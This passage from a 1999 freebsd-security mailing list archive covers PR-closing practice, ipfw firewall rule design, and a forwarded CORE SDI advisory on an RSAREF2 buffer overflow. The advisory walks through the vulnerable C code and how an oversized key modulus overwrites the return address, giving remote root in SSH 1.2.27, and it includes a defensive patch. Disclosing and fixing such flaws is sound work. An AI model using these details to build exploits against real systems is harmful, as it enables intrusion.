think it would've made a difference. Something _was_ > done about it, but it was a halfway job. If it had been reported via a > PR the PR would probably have been closed. Actually, this is a problem in the canonical FreeBSD usage of PRs. PRs should generally be closed by the person REPORTING the PR. When a developer thinks they have the problem fixed, they should put the PR in "feedback" and let the ORIGINATOR close the PR. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 13:45:37 1999 Delivered-To: freebsd-security@freebsd.org Received: from charon.npc.net (charon.finall.com [199.15.61.3]) by hub.freebsd.org (Postfix) with ESMTP id 067CD14E07; Thu, 2 Dec 1999 13:45:31 -0800 (PST) (envelope-from mjung@npc.net) Received: from exchange.finall.com (exchange [10.0.158.37]) by charon.npc.net (8.9.3/8.8.8) with SMTP id QAA20573; Thu, 2 Dec 1999 16:44:44 -0500 (EST) (envelope-from mjung@npc.net) Received: by exchange.finall.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.996.62) id <01BF3CE5.A1BA4620@exchange.finall.com>; Thu, 2 Dec 1999 16:52:34 -0500 Message-ID: From: "Jung, Michael" To: "'Wes Peters'" , "'Steve Reid'" Cc: "'Sheldon Hearn'" , "'Bill Swingle'" , "'security@FreeBSD.ORG'" , "'Jordan Hubbard'" Subject: RE: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] Date: Thu, 2 Dec 1999 16:52:33 -0500 X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.996.62 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Why not just have the PR system email the ORIGINATOR when the PR is closed? This way the originator is informed of the update and it's give them the opportunity to make sure the problem is really resolved. At our organization the ORIGINATOR actually receives email any time the status changes on a ticket. --mikej >-----Original Message----- >From: Wes Peters [SMTP:wes@softweyr.com] >Sent: Thursday, December 02, 1999 4:19 PM >To: Steve Reid >Cc: Sheldon Hearn; Bill Swingle; security@FreeBSD.ORG; Jordan Hubbard >Subject: Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] > >Steve Reid wrote: >> >> On Thu, Dec 02, 1999 at 01:24:58PM +0200, Sheldon Hearn wrote: >> > If you're not going to badger a port's maintainer until he/she does >> > something, you're unlikely to get results out of a single request. >> > That's why the PR system is good. The PR sits there pissing us off >> > until someone does something about it. :-) >> >> In my case I don't think it would've made a difference. Something _was_ >> done about it, but it was a halfway job. If it had been reported via a >> PR the PR would probably have been closed. > >Actually, this is a problem in the canonical FreeBSD usage of PRs. PRs >should generally be closed by the person REPORTING the PR. When a developer >thinks they have the problem fixed, they should put the PR in "feedback" and >let the ORIGINATOR close the PR. > >-- > "Where am I, and what am I doing in this handbasket?" > >Wes Peters Softweyr >LLC >wes@softweyr.com >http://softweyr.com/ > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 14: 7:37 1999 Delivered-To: freebsd-security@freebsd.org Received: from megaweapon.zigg.com (megaweapon.zigg.com [206.114.60.8]) by hub.freebsd.org (Postfix) with ESMTP id 5BAB514F37; Thu, 2 Dec 1999 14:07:31 -0800 (PST) (envelope-from matt@zigg.com) Received: from localhost (matt@localhost) by megaweapon.zigg.com (8.9.3/8.9.3) with ESMTP id RAA90130; Thu, 2 Dec 1999 17:06:03 -0500 (EST) (envelope-from matt@zigg.com) Date: Thu, 2 Dec 1999 17:06:03 -0500 (EST) From: Matt Behrens To: "Jung, Michael" Cc: "'Wes Peters'" , "'Steve Reid'" , "'Sheldon Hearn'" , "'Bill Swingle'" , "'security@FreeBSD.ORG'" , "'Jordan Hubbard'" Subject: RE: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Today, Jung, Michael wrote: : Why not just have the PR system email the ORIGINATOR when : the PR is closed? : : This way the originator is informed of the update and it's give them : the opportunity to make sure the problem is really resolved. : : At our organization the ORIGINATOR actually receives email : any time the status changes on a ticket. Call me crazy, but I think this happens. (Geeze, I've submitted so many but my memory is failing me...) :-) I like Wes's idea, with one caveat: there are quite a few PRs that are silly -- ones that are really pleas for support. There should ideally be some kind of fallback closing method for those. I know Bugzilla has the ``WORKSFORME'' state which might be useful. Matt Behrens Owner/Administrator, zigg.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 14:13:40 1999 Delivered-To: freebsd-security@freebsd.org Received: from eastwood.aldigital.algroup.co.uk (eastwood.aldigital.algroup.co.uk [194.128.162.193]) by hub.freebsd.org (Postfix) with ESMTP id B13B914C0D; Thu, 2 Dec 1999 14:13:34 -0800 (PST) (envelope-from adam@algroup.co.uk) Received: from algroup.co.uk ([192.168.192.2]) by eastwood.aldigital.algroup.co.uk (8.8.8/8.6.12) with ESMTP id WAA01197; Thu, 2 Dec 1999 22:10:14 GMT Message-ID: <3846EE48.558E53A5@algroup.co.uk> Date: Thu, 02 Dec 1999 22:10:16 +0000 From: Adam Laurie X-Mailer: Mozilla 4.7 [en-gb] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: "Rodney W. Grimes" Cc: John Baldwin , freebsd-security@FreeBSD.ORG Subject: Re: rc.firewall revisited References: <199912021807.KAA73912@gndrsh.dnsmgr.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org "Rodney W. Grimes" wrote: > > ... > > > > > > # Allow all outgoing UDP > > > $fwcmd add pass udp from any to any > > The comment for this does not match what the rule actually does, > this rule has not ``outgoing'' about it at all.... > > > OK, well this more or less matches my own current iteration, so I have > > no problem with that... > > The above rule set reduces to nothing more than a deny to low ports > and NFS due to missing via/in/out clauses.. Errr... That's all it's meant to be... Bear in mind that the stock rc.firewall has several sections (simple, client, etc.)- this example is appropriate only for one of the sections and is being used as an example just to agree the basis. Once that's done, a proper rule will need to be constructed for each section. cheers, Adam -- Adam Laurie Tel: +44 (181) 742 0755 A.L. Digital Ltd. Fax: +44 (181) 742 5995 Voysey House Barley Mow Passage http://www.aldigital.co.uk London W4 4GB mailto:adam@algroup.co.uk UNITED KINGDOM PGP key on keyservers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 14:13:58 1999 Delivered-To: freebsd-security@freebsd.org Received: from eastwood.aldigital.algroup.co.uk (eastwood.aldigital.algroup.co.uk [194.128.162.193]) by hub.freebsd.org (Postfix) with ESMTP id 324C614F24; Thu, 2 Dec 1999 14:13:53 -0800 (PST) (envelope-from adam@algroup.co.uk) Received: from algroup.co.uk ([192.168.192.2]) by eastwood.aldigital.algroup.co.uk (8.8.8/8.6.12) with ESMTP id WAA01201; Thu, 2 Dec 1999 22:11:46 GMT Message-ID: <3846EEA3.4149158F@algroup.co.uk> Date: Thu, 02 Dec 1999 22:11:47 +0000 From: Adam Laurie X-Mailer: Mozilla 4.7 [en-gb] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: John Baldwin Cc: "Rodney W. Grimes" , freebsd-security@FreeBSD.org Subject: Re: rc.firewall revisited References: <199912021817.NAA54042@server.baldwin.cx> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org John Baldwin wrote: > > On 02-Dec-99 Rodney W. Grimes wrote: > > ... > >> > > >> > # Allow all outgoing UDP > >> > $fwcmd add pass udp from any to any > > > > The comment for this does not match what the rule actually does, > > this rule has not ``outgoing'' about it at all.... > > Grrr.. perhaps this would be better: > > $fwcmd add pass udp from ${ip} to any No... that would break all UDP replies. It was any to any to allow in and out, since we've already blocked what we're worried about. cheers, Adam -- Adam Laurie Tel: +44 (181) 742 0755 A.L. Digital Ltd. Fax: +44 (181) 742 5995 Voysey House Barley Mow Passage http://www.aldigital.co.uk London W4 4GB mailto:adam@algroup.co.uk UNITED KINGDOM PGP key on keyservers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 14:39:13 1999 Delivered-To: freebsd-security@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id BC6E514C5A; Thu, 2 Dec 1999 14:39:11 -0800 (PST) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id OAA13266; Thu, 2 Dec 1999 14:38:12 -0800 (PST) (envelope-from jkh@zippy.cdrom.com) To: "Jung, Michael" Cc: "'Wes Peters'" , "'Steve Reid'" , "'Sheldon Hearn'" , "'Bill Swingle'" , "'security@FreeBSD.ORG'" , "'Jordan Hubbard'" Subject: Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] In-reply-to: Your message of "Thu, 02 Dec 1999 16:52:33 EST." Date: Thu, 02 Dec 1999 14:38:12 -0800 Message-ID: <13263.944174292@zippy.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Why not just have the PR system email the ORIGINATOR when > the PR is closed? It does. - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 15: 2:27 1999 Delivered-To: freebsd-security@freebsd.org Received: from eastwood.aldigital.algroup.co.uk (eastwood.aldigital.algroup.co.uk [194.128.162.193]) by hub.freebsd.org (Postfix) with ESMTP id E3F0014C5A; Thu, 2 Dec 1999 15:02:17 -0800 (PST) (envelope-from adam@algroup.co.uk) Received: from algroup.co.uk ([192.168.192.2]) by eastwood.aldigital.algroup.co.uk (8.8.8/8.6.12) with ESMTP id XAA03407; Thu, 2 Dec 1999 23:00:33 GMT Message-ID: <3846FA12.F1480F19@algroup.co.uk> Date: Thu, 02 Dec 1999 23:00:34 +0000 From: Adam Laurie X-Mailer: Mozilla 4.7 [en-gb] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: "Rodney W. Grimes" Cc: John Baldwin , freebsd-security@FreeBSD.org Subject: Re: rc.firewall revisited References: <199912021954.LAA74271@gndrsh.dnsmgr.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org "Rodney W. Grimes" wrote: > > > > > On 02-Dec-99 Rodney W. Grimes wrote: > > > ... > > >> > > > >> > # Allow all outgoing UDP > > >> > $fwcmd add pass udp from any to any > > > > > > The comment for this does not match what the rule actually does, > > > this rule has not ``outgoing'' about it at all.... > > > > Grrr.. perhaps this would be better: > > > > $fwcmd add pass udp from ${ip} to any > > > > >> OK, well this more or less matches my own current iteration, so I have > > >> no problem with that... > > > > > > The above rule set reduces to nothing more than a deny to low ports > > > and NFS due to missing via/in/out clauses.. > > > > Do you prefer your earlier proposal that used a $dnsserver variable then? > > I'd actually prefer that rc.firewall be pretty much either blank, or very > carefully engineered. What is there now is a total joke, it only gives > people false senses of security. I agree. What we're trying to do is engineer it... The current one is actually broken, and that needs fixing. > > If you must deal with DNS through a firewall you must make sure your > bind is setup to do port 53 queries, only listen on specific IP addresses > and then you can actually write the correct rules: The proposed rule deals with both "properly" and otherwise configured DNS so I don't see what the objection is. > > ipfw add X pass udp from any to ${dnsserver} 53 > ipfw add X+1 pass udp from ${dnsserver} 53 to any > ipfw add X+2 deny log udp from any to any 53 > ipfw add X+3 dney log udp from any 53 to any This breaks one of the basic rules of firewalling... Trusting traffic based on source address. To quote from the ipfw manual: Note that may be dangerous to filter on the source IP address or source TCP/UDP port because either or both could easily be spoofed. You've just let anyone that can spoof you DNS's source address onto any UDP port. > > You also need to do similiar things for tcp/53. > > One can't be sure that the above will work, unless one can insure that > all DNS clients are configured to query from port 53. If you have to > remove this restriction you'll never get a set of rules thats worth a > damn with respect to named. If this is a real firewall instead of just > a host being protected you can be even strickter if you configure your > internal DNS servers correctly, mandate that all internal DNS queries > use these servers as forwarders, etc. This is way way way beyond the > scope of what can easily be done in a stock /etc/rc.firewall. > > You will never be able to write an rc.firewall that is very good and generally > applicable unless you define a lot of things about how the environment is set > up, and tell the user how he needs to change his internal configuration such > that it can work with this set of firewall rules. > > You need things like internal IP subnet range data, specific services on > specific machines, allow protocols, my current simple set firewall uses > 80 some odd variables to define this stuff, and it's not even close to be > a good firewall :-) > > #!/bin/sh > # $FreeBSD$ > # rc.firewall > > # This is the file that a site should define it's firewall rule set in, > # we recommend books X, Y and Z and man ipfw(8) as minimal reading before > # attempting to create the content of this file. > # > # It is up to the user to write a correct set of firewall rules, network > # environments are far to varied to even attempt for FreeBSD to provide > # a template, as it would most defanitly be wrong at some unknown number > # of sites. That is indeed a reasonable alternative... :) cheers, Adam -- Adam Laurie Tel: +44 (181) 742 0755 A.L. Digital Ltd. Fax: +44 (181) 742 5995 Voysey House Barley Mow Passage http://www.aldigital.co.uk London W4 4GB mailto:adam@algroup.co.uk UNITED KINGDOM PGP key on keyservers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 15:10:28 1999 Delivered-To: freebsd-security@freebsd.org Received: from ind.alcatel.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 98BC914C7F; Thu, 2 Dec 1999 15:10:24 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com (mailhub [198.206.181.70]) by ind.alcatel.com (8.9.3+Sun/8.9.1 (ind.alcatel.com 3.0 [OUT])) with SMTP id PAA16825; Thu, 2 Dec 1999 15:06:01 -0800 (PST) X-Origination-Site: Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id PAA21916; Thu, 2 Dec 1999 15:06:01 -0800 Received: from softweyr.com (dyn0.utah.xylan.com) by omni.xylan.com (4.1/SMI-4.1 (xylan engr [SPOOL])) id AA18869; Thu, 2 Dec 99 15:05:49 PST Message-Id: <3846FB55.740C75E6@softweyr.com> Date: Thu, 02 Dec 1999 16:05:57 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.61 [en] (X11; I; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en Mime-Version: 1.0 To: "Jung, Michael" Cc: "'Steve Reid'" , "'Sheldon Hearn'" , "'Bill Swingle'" , "'security@FreeBSD.ORG'" , "'Jordan Hubbard'" Subject: Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org "Jung, Michael" wrote: > > Why not just have the PR system email the ORIGINATOR when > the PR is closed? It does. On the other hand, how can anyone else possibly know that the PR has been solved, other than the person who wrote the PR? > This way the originator is informed of the update and it's give them > the opportunity to make sure the problem is really resolved. Right. Until it "is really resolved" it shouldn't be closed, it should be in another status that means "Hey, PR originator, go see if this has been fixed to your liking." That state is "feedback", not closed. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 15:10:40 1999 Delivered-To: freebsd-security@freebsd.org Received: from ind.alcatel.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 5894D14C7F for ; Thu, 2 Dec 1999 15:10:35 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com (mailhub [198.206.181.70]) by ind.alcatel.com (8.9.3+Sun/8.9.1 (ind.alcatel.com 3.0 [OUT])) with SMTP id PAA16889; Thu, 2 Dec 1999 15:07:59 -0800 (PST) X-Origination-Site: Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id PAA22020; Thu, 2 Dec 1999 15:07:59 -0800 Received: from softweyr.com (dyn0.utah.xylan.com) by omni.xylan.com (4.1/SMI-4.1 (xylan engr [SPOOL])) id AA18984; Thu, 2 Dec 99 15:07:57 PST Message-Id: <3846FBD5.4F05EBB3@softweyr.com> Date: Thu, 02 Dec 1999 16:08:05 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.61 [en] (X11; I; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en Mime-Version: 1.0 To: Matt Behrens Cc: "Jung, Michael" , "'security@FreeBSD.ORG'" Subject: Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Matt Behrens wrote: > > I like Wes's idea, with one caveat: there are quite a few PRs that > are silly -- ones that are really pleas for support. There should > ideally be some kind of fallback closing method for those. I know > Bugzilla has the ``WORKSFORME'' state which might be useful. And for those that lie in "feedback" state for some time, waiting for some- body who has moved on and not left a forwarding address to close them. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 15:19:53 1999 Delivered-To: freebsd-security@freebsd.org Received: from wank.westin16.flyingcroc.net (wank.westin16.flyingcroc.net [207.246.128.93]) by hub.freebsd.org (Postfix) with ESMTP id AAEDC14C84 for ; Thu, 2 Dec 1999 15:19:41 -0800 (PST) (envelope-from todd@flyingcroc.net) Received: from localhost (todd@localhost) by wank.westin16.flyingcroc.net (8.9.3/8.9.3) with ESMTP id PAA05232 for ; Thu, 2 Dec 1999 15:31:29 -0800 (PST) (envelope-from todd@flyingcroc.net) X-Authentication-Warning: wank.westin16.flyingcroc.net: todd owned process doing -bs Date: Thu, 2 Dec 1999 15:31:29 -0800 (PST) From: Todd Backman X-Sender: todd@wank.westin16.flyingcroc.net To: security@freebsd.org Subject: Security Advisory: Buffer overflow in RSAREF2 (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Is there a FBSD advisory out on this and/or patch? (If I missed it please forgive...) Thanks. - Todd ---------- Forwarded message ---------- Date: Wed, 1 Dec 1999 23:09:12 -0300 From: Gerardo Richarte To: BUGTRAQ@SECURITYFOCUS.COM Subject: Security Advisory: Buffer overflow in RSAREF2 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - ------------------------------------------------------------------------ CORE SDI S.A. Buenos Aires, Argentina CORE SDI Security Advisory December 1st., 1999 Buffer overflow in RSAREF2 - ------------------------------------------------------------------------- While researching the exploitability of a buffer overflow in SSH up to version 1.2.27, we discovered a second buffer overflow in the implmementation of the RSA algorithm in RSAREF2 from RSA Data Security. This advisory addresses the details of the bug discovered, the details are somewhat focused on the ability to exploit the bug in SSH compiled with RSAREF2, but its extensible to any software product that uses RSAREF2 Problem description ~~~~~~~~~~~~~~~~~~~~ RSAREF2 API exports 4 functions in rsa.c: int RSAPublicEncrypt() int RSAPrivateEncrypt() int RSAPublicDecrypt() int RSAPrivateDecrypt() The 4 functions define a local variable pkcsBlock of fixed length MAX_RSA_MODULUS_LEN (128 bytes) In order to perform the RSA operations, the functions call the internal functions RSAPrivateBlock() and RSAPublicBlock(). RSAPrivateDecrypt() and RSAPublicDecrypt() pass a pointer to the local variable pkcsBlock to be used as the output buffer for RSAPublicBlock() and RSAPrivateBlock() respectively. The two functions then perform the RSA operations and copy the results to the output buffer using the NN_Encode() and NN_Decode() functions. Lack of strict bounds checking and proper validation of input parameters in all these functions allows an attacker to overflow the pkcsBLock variable and overwrite the stack, making it possible to execute arbitrary commands on the vulnerable system. Technical details ~~~~~~~~~~~~~~~~~ As an axample we will describe the vulnerability focusing on the decrypt operations performed in RSAREF2 based on the private key. Such operations are done with the function RSAPrivateDecrypt() defined as follows in rsa.c: /* RSA private-key decryption, according to PKCS #1. */ int RSAPrivateDecrypt (output, outputLen, input, inputLen, privateKey) unsigned char *output; /* output block */ unsigned int *outputLen; /* length of output block */ unsigned char *input; /* input block */ unsigned int inputLen; /* length of input block */ R_RSA_PRIVATE_KEY *privateKey; /* RSA private key */ { int status; unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN]; unsigned int i, modulusLen, pkcsBlockLen; modulusLen = (privateKey->bits + 7) / 8; if (inputLen > modulusLen) return (RE_LEN); if (status = RSAPrivateBlock (pkcsBlock, &pkcsBlockLen, input, inputLen, privateKey)) return (status); ... return (0); } Note that inputLen is checked against a transformation of privateKey's bits field, to satisfy this constrain an attacker must alter this field in privateKey, but this, almost by miracle doesn't affect the final result. Notese que se hace una verificacion sobre la longitud del buffer de entrada, comparandola con una transformacion del campo bits de la clave privada (privateKey), para que esta validacion sea satisfecha es necesario cambiar este campo en privateKey, pero esto, casi milagrosamente no afecta al resultado de la encripcion. As we can see, RSAPrivateDecrypt() calls RSAPrivateBlock() passing pkcsBlock as the output buffer, no length checking is performed to ensure that pkcsBlock will not be overrun. RSAPrivateBLock() performs the RSA private key operations ans is define as follows: /* Raw RSA private-key operation. Output has same length as modulus. Assumes inputLen < length of modulus. Requires input < modulus. */ static int RSAPrivateBlock (output, outputLen, input, inputLen, privateKey) unsigned char *output; /* output block */ unsigned int *outputLen; /* length of output block */ unsigned char *input; /* input block */ unsigned int inputLen; /* length of input block */ R_RSA_PRIVATE_KEY *privateKey; /* RSA private key */ { NN_DIGIT c[MAX_NN_DIGITS], cP[MAX_NN_DIGITS], cQ[MAX_NN_DIGITS], dP[MAX_NN_DIGITS], dQ[MAX_NN_DIGITS], mP[MAX_NN_DIGITS], mQ[MAX_NN_DIGITS], n[MAX_NN_DIGITS], p[MAX_NN_DIGITS], q[MAX_NN_DIGITS], qInv[MAX_NN_DIGITS], t[MAX_NN_DIGITS]; unsigned int cDigits, nDigits, pDigits; NN_Decode (c, MAX_NN_DIGITS, input, inputLen); ... cDigits = NN_Digits (c, MAX_NN_DIGITS); nDigits = NN_Digits (n, MAX_NN_DIGITS); pDigits = NN_Digits (p, MAX_NN_DIGITS); /* Compute mP = cP^dP mod p and mQ = cQ^dQ mod q. (Assumes q has length at most pDigits, i.e., p > q.) */ ... /* Chinese Remainder Theorem: m = ((((mP - mQ) mod p) * qInv) mod p) * q + mQ. */ if (NN_Cmp (mP, mQ, pDigits) >= 0) NN_Sub (t, mP, mQ, pDigits); else { NN_Sub (t, mQ, mP, pDigits); NN_Sub (t, p, t, pDigits); } NN_ModMult (t, t, qInv, p, pDigits); NN_Mult (t, t, q, pDigits); NN_Add (t, t, mQ, nDigits); *outputLen = (privateKey->bits + 7) / 8; NN_Encode (output, *outputLen, t, nDigits); ... return (0); } RSAPrivateBlock() calls NN_Encode() to encode and copy the results into the output buffer (a pointer to the pkcsBlock variable in RSAPublicDecrypt() function), the length of the output buffer is calculated based on the bits field of the pivateKey structure, passed originally to RSAPublicDecrypt() and does not take into account the fixed length characteristics of the output buffer. The NN_Encode() function is defined as follows: /* Encodes b into character string a, where character string is ordered from most to least significant. Lengths: a[len], b[digits]. Assumes NN_Bits (b, digits) <= 8 * len. (Otherwise most significant digits are truncated.) */ void NN_Encode (a, len, b, digits) NN_DIGIT *b; unsigned char *a; unsigned int digits, len; { NN_DIGIT t; int j; unsigned int i, u; for (i = 0, j = len - 1; i < digits && j >= 0; i++) { t = b[i]; for (u = 0; j >= 0 && u < NN_DIGIT_BITS; j--, u += 8) a[j] = (unsigned char)(t >> u); } for (; j >= 0; j--) a[j] = 0; } NN_Encode() encodes and copies to 'a' (the output buffer, pkcsBLock) 'digits' bytes of 'b' (the results of the RSA private key operation) from the end to the start of the buffer, starting at position 'len', the modulus length of the private key passed to RSAPrivateDecrypt(). Providing a suitable modulus length to RSAPrivateDecrypt() it is possible to force NN_Encode() to copy data beyond the bounds of pkcsBLock and overwrite the return address of RSAPRivateDecrypt(), gaining control of the processor and being able to execute code located elsewhere in the vulnerable program. The exploitability of this bug in SSH comes from the fact that a bug in SSH itself discussed and published in the vuln-dev and bugtraq mailing lists, allows a remote client to provide a suitable private key to the RSAREF functions. The same problem is present in the RSAPublicDecrypt() function, and its exploitability might be even easier, since its much easier to provide a malicious public key to any software package that supports RSA and uses the RSAREF2 implementation. Impact ~~~~~~ It is possible to execute arbitrary commands as the user that runs the RSAREF2 code. For SSH up to 1.2.27 compiled with RSAREF2 this implies the remote execution of arbitrary commands as root. Fix information ~~~~~~~~~~~~~~~ RSA Security was contacted and replied that they don't support RSAREF2 anymore. For futher details you may contact John Linn A patch is provided below, please read carefully the file license.txt from the RSAREF2 distribution before applying it Vulnerable systems ~~~~~~~~~~~~~~~~~~ - - SSH up to 1.2.27 compiled with RSAREF2 (RSAREF is not compiled in by default but it's required in some cases in USA) - - Possibly any other software packages that uses RSAREF2 Additional information ~~~~~~~~~~~~~~~~~~~~~~ This vulnerability was discovered by Alberto Solino and Gerardo Richarte at Core SDI S.A. Copyright Notice: ~~~~~~~~~~~~~~~~~ The contents of this advisory are copyright (c) 1999 CORE SDI S.A. and may be distributed freely provided that no fee is charged for this distribution and proper credit is given. Fix ~~~ Copy de remining of this message to a file named rsaref.patch in rsaref2/source, and apply with 'patch MAX_RSA_MODULUS_LEN) return (RE_LEN); + modulusLen = (publicKey->bits + 7) / 8; if (inputLen + 11 > modulusLen) return (RE_LEN); @@ -78,6 +80,8 @@ unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN]; unsigned int i, modulusLen, pkcsBlockLen; + if (inputLen>MAX_RSA_MODULUS_LEN) return (RE_LEN); + modulusLen = (publicKey->bits + 7) / 8; if (inputLen > modulusLen) return (RE_LEN); @@ -129,6 +133,8 @@ unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN]; unsigned int i, modulusLen; + if (inputLen+3>MAX_RSA_MODULUS_LEN) return (RE_LEN); + modulusLen = (privateKey->bits + 7) / 8; if (inputLen + 11 > modulusLen) return (RE_LEN); @@ -168,6 +174,8 @@ unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN]; unsigned int i, modulusLen, pkcsBlockLen; + if (inputLen>MAX_RSA_MODULUS_LEN) return (RE_LEN); + modulusLen = (privateKey->bits + 7) / 8; if (inputLen > modulusLen) return (RE_LEN); -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use Charset: noconv iQA/AwUBOEXStUBPS1M5RMLQEQLf4QCg6kaXLdSnzgfbgVXztOD38MFTX7AAmwTG F9dMkpeKR3EiiuDSCwi4tNrd =NNXd -----END PGP SIGNATURE----- --- For a personal reply use gera@core-sdi.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 15:20:59 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail.HiWAAY.net (fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (Postfix) with ESMTP id 99C2C150AA; Thu, 2 Dec 1999 15:20:49 -0800 (PST) (envelope-from sprice@hiwaay.net) Received: from localhost (sprice@localhost) by mail.HiWAAY.net (8.9.3/8.9.0) with ESMTP id RAA18038; Thu, 2 Dec 1999 17:20:02 -0600 (CST) Date: Thu, 2 Dec 1999 17:20:01 -0600 (CST) From: Steve Price To: Wes Peters Cc: "Jung, Michael" , "'Steve Reid'" , "'Sheldon Hearn'" , "'Bill Swingle'" , "'security@FreeBSD.ORG'" , "'Jordan Hubbard'" Subject: Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] In-Reply-To: <3846FB55.740C75E6@softweyr.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 2 Dec 1999, Wes Peters wrote: # "Jung, Michael" wrote: # > # > Why not just have the PR system email the ORIGINATOR when # > the PR is closed? # # It does. On the other hand, how can anyone else possibly know that the # PR has been solved, other than the person who wrote the PR? A message is also mailed to the email address in the 'Responsible' field. Since this is freebsd-bugs in many cases, simply subscribing to the freebsd-bugs mailing list wouldn't hurt. If you know the PR number then you can check it using your browser. http://www.freebsd.org/cgi/query-pr.cgi If you don't know the number, then you can use this and your browser to search for it. http://www.freebsd.org/cgi/query-pr-summary.cgi?query -steve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 15:29: 2 1999 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 5066F14C84; Thu, 2 Dec 1999 15:28:56 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 30FE81CD620; Thu, 2 Dec 1999 15:28:56 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Thu, 2 Dec 1999 15:28:56 -0800 (PST) From: Kris Kennaway To: Todd Backman Cc: security@freebsd.org Subject: 